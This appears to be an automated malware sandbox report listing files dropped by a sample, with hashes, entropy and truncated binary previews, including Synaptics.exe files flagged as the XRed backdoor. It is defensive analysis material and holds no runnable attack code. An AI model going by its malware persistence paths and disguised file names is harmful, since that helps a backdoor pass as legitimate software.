SHA-512:	B53BC64BD8B25FBF48B218B3E3F626BEF39BC16302B65D503641269FB856BE2D9E56DCDB8298DBF7FF311876E312F67401DEFEA85B06F2722D52CE4D1CE2B210
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.3.2.6.7.1.0.7.4.6.3.8.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.3.2.6.7.2.8.8.5.5.7.6.0.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.d.b.0.8.8.8.f.-.5.5.0.c.-.4.b.b.d.-.b.2.9.b.-.3.8.3.b.a.e.5.6.3.c.a.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.e.8.b.c.8.5.a.-.d.d.3.a.-.4.6.b.8.-.9.6.9.0.-.4.f.1.5.f.4.a.9.f.f.3.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.2.8.-.0.0.0.1.-.0.0.1.4.-.e.5.3.e.-.2.4.8.2.4.c.5.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.b.4.8.6.0.3.f.6.a.1.d.f.f.a.b.2.f.f.4.5.8.7.8.0.0.2.5.f.6.a.3.c.2.e.5.2.3.c.3.c.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_be67666fe4818bfe38cb6737915ef984fc566b64_455b7b6e_7651781a-e0f4-4624-a8b0-6896943db491\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1324046746995573
Encrypted:	false
SSDEEP:	192:Z+hDVps7Im00WbkODzJDzqjLOA/FczxwzuiFvZ24IO8EKDzy:8vy7FWbkOJqjkKzuiFvY4IO8zy
MD5:	DD8AC2D307D343152486ADA215568F28
SHA1:	9D4D8D59ADC7F19B91C9414773C3BC23710BEF8B
SHA-256:	15E13F93ECD3D572909AC659569C16E532068AF6318E6AFCF345F0505914D87D
SHA-512:	597930B9673467324F5D5C87A513BBF133157B21112A1416B9781323E4B9E4A7A695DC1523ABFD12E5FAC6805AC1BA8C92D6DC233BDB88B41F5FFAB9EEE9C001
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.3.2.6.7.3.4.2.0.1.4.5.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.3.2.6.7.3.5.2.0.1.4.5.2.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.6.5.1.7.8.1.a.-.e.0.f.4.-.4.6.2.4.-.a.8.b.0.-.6.8.9.6.9.4.3.d.b.4.9.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.a.1.8.d.e.9.7.-.d.e.f.4.-.4.0.0.1.-.b.8.a.6.-.1.3.2.a.7.3.8.d.6.a.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.2.8.-.0.0.0.1.-.0.0.1.4.-.e.5.3.e.-.2.4.8.2.4.c.5.d.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.b.4.8.6.0.3.f.6.a.1.d.f.f.a.b.2.f.f.4.5.8.7.8.0.0.2.5.f.6.a.3.c.2.e.5.2.3.c.3.c.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1441.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, CheckSum 0x00000004, Thu Jan 2 21:25:34 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	209452
Entropy (8bit):	2.647630467569494
Encrypted:	false
SSDEEP:	768:Y/noHm/vfUA/L6/GjvtqfFN94fFpzgw5QImvVMTNsCaP1pJSE:GdTLSpH92pkw5QVGNsCeB
MD5:	FEE245F0285AFFF12436DCD2CAEDCE60
SHA1:	5B091F7874C09CEAA564ED19E3F7EEC439ED9ACB
SHA-256:	DF8E8C160D77D9643678E4257BA31F3138DC7BFF447FE9F518C9598C17EA7712
SHA-512:	776FBBC4DB13F32947CE31A7A10CAB74E4FFAC6D959DDBBC23F9B2F2E5AB8FB18E6A73F7E50A770DCB5402F2DA6B7D5911F4B0AF1289444B1935E276166241AB
Malicious:	false
Preview:	MDMP..a..... .......N.wg............4...............H.......$....&......$....5..........`.......8...........T........... ................'...........)..............................................................................eJ.......)......GenuineIntel............T.......(.....vg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1655.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6312
Entropy (8bit):	3.6966264536424545
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb3xs6t7YiSaVDRJl5aMQUz89bddgsfKvqGm:R6l7wVeJ3xs6t7YiSa9pDz89b3gsfKdm
MD5:	12A9BE9420D0ADAEDE5967B4630ED5DD
SHA1:	E54A0B711A174695842D3BBB1BEBD90B5AA830DC
SHA-256:	CDDAA83B95694A739CF4C03A04A72A906A52A271954AB40D4623116437C412A0
SHA-512:	73A474A68991632144CE0799C1FA6A104DB0EC93FF5BF99C77C2E173EF552ACFA230A9EC234EF124A513B4CDFB49E79B176B65BDE2EAE6621F98D26AD4564BDA
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER16E3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.440432162390021
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVJg77aI9V+nWpW8VYpYm8M4JFoFRO+q84s55OuZid:uIjfvI7HT7VJJmOerOuZid
MD5:	BC4EBC07ACA93CEA677AA772B8CC6176
SHA1:	49C5175440D3EDE4F106BDE5AAC6BAB440106E52
SHA-256:	C0572F1CD10C0CF01437F7BBC56DB234767C80F851DB3336E79BD65DAE8EB357
SHA-512:	1619052A3995319B5ABDB9FD568833190976C0428B1054FA6347B3C826AE9DECFE4301F243598BACAC127FF800B8DD2DCEF9FF39AB9B1C53F4320BC0A590ECE2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="658828" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB846.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jan 2 21:25:18 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	6402859
Entropy (8bit):	2.174305773178595
Encrypted:	false
SSDEEP:	12288:5RkVg8NcAZF8Quh/0/pJBCTz4B35xH4SVogpvy0weBFKhiOemBEg2JWn3Fuk4AEE:5RLAzfdxCbaMZwj26DyYB5bbXvbI6vk
MD5:	AF7430C195191F304FB990ECEBC1617B
SHA1:	3D39D61178A7B7A5D64F2D95FEF4E8A4BDD5D676
SHA-256:	D8CAB7EF57B8633C8E755F7BBC73E2F608F6C5CC882A0E3B44468255D0811BFB
SHA-512:	3BC1F962AA7E69762DB7D1ED4D83172B936D58F5347C712B7570E4D4F0C998C174A0B3ED6799DB3C0ADF436F6FCFE6457B680E619184F76528656BE160FAD995
Malicious:	false
Preview:	MDMP..a..... .......>.wg............4r..............Hy......$..........D7..PN..........`.......8...........T............_..sS_.....................................................................................................eJ..............GenuineIntel............T.......(.....vg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE49.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6312
Entropy (8bit):	3.7148420726690055
Encrypted:	false
SSDEEP:	192:R6l7wVeJ3xl6xMmzYiSW3pD089baQsfy+m:R6lXJz63YujajfS
MD5:	BC614CFD2E8C82D98A02A8D73E1B1753
SHA1:	87B183DC2FB612DEE76FFBB96BB8A7795C636202
SHA-256:	21DE50D665BD1F1986B10FDDEE54DF727FC1CFE27FA975C6548AF1B494C6F107
SHA-512:	4D1723811618441494F4E6DC0B46F2C004BE9C7A6E5051765C9D0F7140DA3FCACB5C7BB205356BE05E537E3C15B627F427E08B96C2F32A2AE902A7C02BCCF416
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE69.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.445743359919815
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVJg77aI9V+nWpW8VYzSoYm8M4JFetFH+q84iz55OuZid:uIjfvI7HT7VtFJi0rOuZid
MD5:	5C9E5101E3381FEFCBB33566B2C3AD68
SHA1:	F74FE4F27D7561DB03477F430960E29D47A91AA6
SHA-256:	217737197CC1A1764429E42199EB6AD671E3485DB0A6358B7A03413929F79450
SHA-512:	33ADC99E27AEEF33730A758BAEFDF59B13A3DC98DED63B34FAEBA754145A3FFC9CD2D80C60835E8FD052CA9AE83C484DB5FE4C87D7B51C0CAAB4FD87183D3F1E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="658828" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Synaptics\RCX8506.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.6264053582391735
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IIr:ansJ39LyjbJkQFMhmC+6GD9j
MD5:	7407C51DD7AC30C4D79658D991A8B5D6
SHA1:	B48603F6A1DFFAB2FF458780025F6A3C2E523C3C
SHA-256:	1316730BBC50851C02F53254F9C57B99AF50A07BB0776332D1480BABD626F39A
SHA-512:	38334452808E5D203B287E2F4A47B8F5BBCE1ED18FABCFA4A61B8C04429150DFBFFE2241323B3C87D90ABBABBED49A5CEA584CC1CE83BF519BB728E1D6AC18EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCX8506.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCX8506.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 94%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1059840
Entropy (8bit):	7.037746245684915
Encrypted:	false
SSDEEP:	24576:6nsJ39LyjbJkQFMhmC+6GD9DukDF4zARUwSp:6nsHyjtk2MYC5GDFuRzmUd
MD5:	EABA5B2C3B6607177112EC5F26438BA3
SHA1:	D0572BAD54FACA6AF612763C6835FEB160A3DCD2
SHA-256:	43555B4A8BD82ABD7E7B1F279B4F31AFB5A230CE4246BE6FDA4FDD5E7263C780
SHA-512:	B767A6F167A0153628AE0BDB468EEF4D4311E48A58FF4774843EE36321C48823A24BE5C9D0D399800A19733A46EAD5109CD54E728E6A260107212647A5F60D9C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\APR2007_xinput_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 47342 bytes, 5 files, at 0x44 +A "xinput1_3_x86.cat" +A "xinput1_3.dll", flags 0x4, ID 8235, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	56510
Entropy (8bit):	7.973777529821975
Encrypted:	false
SSDEEP:	1536:BcnwcwzHEdb27WH2SfZDNu75ddnVR+ZFaNk0ZKn4:4wb+2eZonQwt
MD5:	B362EC93463D8B6381A864D35D38C512
SHA1:	7CE47EBCEDA117D8B9748B5B2D3A6AE99FC239DF
SHA-256:	B6C1166C57D91AFEEEAA745238D0D6465FF2084F0606FD29FAF1BFA9E008A6C5
SHA-512:	CC57733912E2A296A11CD078372C3B43F1256A93EC5BECD0D1B520EB210FCE60938AA1CAA6DBBCA03292A05495B5ECD212EE5F77E3EBABB11EF31F1975B2D09E
Malicious:	false
Preview:	MSCF...........D...............+ ..............#...................(.........6{. .xinput1_3_x86.cat.h?...(.....6.. .xinput1_3.dll......h.....6G. .apr2007_xinput_x86.inf......m.....6G. .xinput1_3_x86.inf./....p.....6G. .xinput1_3_x86_xp.inf.i...T5..CK.y<.....Y.d..H.<3.1....=...`,cbB.f...RkB..V..E...,.[$I.R(~g..n........}....<....y>.9.s.....f&.s)E.F..Cp ..Q...D 0<0.;....R.....3.\...4...F.1QI...........@..O....2.f....I\...a...c4.0.....,...0.!..6.. M...@..:..ocp.A.K6......... .F..!...[....+..,...0n...<..@cl`+Xe^.X.t.$.;{X@.P....@d..N=.....Z..g....&...#...%]....~.........C. #..u...h(.4^.4.... a.a...#.Z<....%.{..5..n$....P@[..C<01..Y...F.\..[.H.H.l..f.l.X.0...l.4.A....+B.~.\|.l.YO0..k}i>~V..O.f...M0n^.?..B..........a.......N.w/==J.{..D@0..Q.....%..@6..Z.\|......@@.4..a.....q......t....4v....dI.Ym..^...........[7.XH.8Y.nR..d.<.;O.."k...d.y2aV..4....D...5..B".H~.....+x_o.4....c.#.`..0...v.F4........I.Q$.....x....._..;]...O[....l....?..:.......Q._....2.;.~...NXz

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Apr2006_d3dx9_30_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1109261 bytes, 5 files, at 0x44 +A "d3dx9_30_x86.cat" +A "d3dx9_30.dll", flags 0x4, ID 6903, number 1, extra bytes 20 in head, 74 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1118429
Entropy (8bit):	7.999050518080374
Encrypted:	true
SSDEEP:	24576:OreyPa6AC8e290lruGDhi3TSvHDh+ISNvRNhPmJ0RRuu:cNoeYEuTSvjh+R3WKRv
MD5:	B3D644A116C54AFDA42A61B0058BE112
SHA1:	9AF7DDC29EEF98810A1A2F85DB0B19B2EC771437
SHA-256:	CA7B9C6A49E986C350147F00A6C95C5B577847B5667B75681A1EE15E3A189106
SHA-512:	A2D2F12B7B37BD8F5C8465DD13AD31942DF11EE5ED5423DEEEB178E6B594587706D2C5116258BE1562CAA5ECA691358AF3CB83B77898D1012FF521017D199165
Malicious:	true
Preview:	MSCF............D................................#..............J..............44f .d3dx9_30_x86.cat..p$........4.e .d3dx9_30.dll......$....4.e .apr2006_d3dx9_30_x86.inf.....z.$....4.e .d3dx9_30_w9x.inf.....+.$....4.e .d3dx9_30_x86.inf.v..[>..CK..X.K..=.. ....+..MBI.. M@.n..QH0....#....c..b/..{.z....E..y.......N8?gg..{..=..{...W..;..:....IA.....a.`.......43GX..r..,.f...+FA..,.....2..a0..2......Z.ty.Ih...m0w..es0Ww.[/.n%q.Z.I...ho......#...G.....\.. 1.P6....;.s.cZ.......t.B...X...LL..X.C.......B.......~......@..!..8..O..O..!mR..fbb.0.8L.f..XO.R.-......Y...y...Q4."5JD...p..s.T.f.2z.6..~...........9VPR.f.BH=.bg.s,.T.!=......O..........B...\|\|}...X..5]R.0.....c.+.4..S....E.7.y...[....3...2$..:qt...7T......Q..@X..Ji...q.Z8.Ea(..@zS.D.3;.b..a.}L.;..PG/-....(...../vL_...@K....c..&....f..y.....3.8fW:.T:N7..W:..t.t...#(.FK.k..X..&...;_...Be.w.....b6.z<..za..}_7.afQ......O{,..Thu...).'+..0{:.V}kI.&Z.JU&&*...B..[.'..t.vK.9.`]..!.)Vht.8e.\.T.....i......I.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Apr2007_d3dx10_33_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 689905 bytes, 6 files, at 0x44 +A "d3dx10_33_x86.cat" +A "d3dcompiler_33.dll", flags 0x4, ID 9049, number 1, extra bytes 20 in head, 49 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	699073
Entropy (8bit):	7.998968028413629
Encrypted:	true
SSDEEP:	12288:SHwziN1v34WzSc6IA6ajvY8ov8ZdReUTQ8Mr47JYCophIa9sNDn1QcILtw6:V01wWzCI3ajjls4NpAsNDnMw6
MD5:	F784B8A0FD84C8AC3F218A9842D8DA56
SHA1:	FB7B4B0F81CD5F1C6A900C71BFD4524AF9A79ECE
SHA-256:	949068035CE57BBB3658217EC04F8DE7A122C6E7857B6F8B0CA002EB573DF553
SHA-512:	01B818AA5188CDE3504E289AEDCA2D31A6C5AED479B18A2C78271828AE04BEBCD4082051B7F4EECA8A31E8EE5ADBA158420ECDCB21371C735E4781EE5F661DBF
Malicious:	true
Preview:	MSCF...........D...............Y#..............#..............1....).........6{. .d3dx10_33_x86.cat.p%...)....l6O. .d3dcompiler_33.dll.h...2O....o6=. .d3dx10_33.dll............6E. .apr2007_d3dx10_33_x86.inf.I...7......6E. .d3dx10_33_x86.inf.i..........6E. .d3dx10_33_x86_xp.inf..j"(.2..CK.y<...........l.al..)e.!a.&...l3.-.h....j.,."D.R..O...%W).gFn........}.z5..<s..s>.s>..\|...U*x...Z..!..E..U...<$.....y0.sPH)....<..<.4.M.@...U.......\).@..6.'.Yi.!.....R.@.&..X..i..z..Y....`...C...).Cz...p.9H$...t@....I.s....;.[.C+A"..<.7.w3..A..u...s8$....ma.Y5.3.e C.e.yAAP ...@L..8.,?..h.a..E2=..9=.......e5\|a./3B"q....Zh.P...6P.."....k....:.w..:.h%.....H.0u......+..D.+!..-...9.sD...O...QZ.a..8v#......Q..N..l%....c..?P..........>.....~......0.F.VB!1ii..v5.4.R.R.....LX.X.........w.8.'.~..p.8.......A......6w.\...~..[.B.E.!..h....uQR..q.....O.....R......Cth-.....$z..B..00.l.Uo.. '..m..fB..}...ij....<..RX._......k .k1.xH......A3y.<~V>.s^gV.8+.;+...CP..+. &.....PH..).UA{...E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aug2006_xinput_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 40098 bytes, 4 files, at 0x44 +A "xinput1_2_x86.cat" +A "xinput1_2.dll", flags 0x4, ID 6335, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	49266
Entropy (8bit):	7.9632460736333766
Encrypted:	false
SSDEEP:	768:OuG396sAA1wXXvVFc2755DkphtVmUkt/lnkvH0odpl/q1nk:vwQsAhFcSmpJ3kt/xcd7ek
MD5:	16B968CA0C435EE45E77A84C2D0364A9
SHA1:	90B17A60A34F6335787A6B2D489CBCD3A4EA98C8
SHA-256:	6DD7C0ABE37D3DF7AA6DB7BB352260F4A15DC965FF9D30AA32FE9595C1A18300
SHA-512:	3BBBFDF8B5673641EC066C3FB52E6B0D5CE0BC6ED6BFF17AB4AC3FA69A8628B09E5EC8322FC39D2A206974B54D297CAAFF9410197E26D090FE74F963CD535045
Malicious:	false
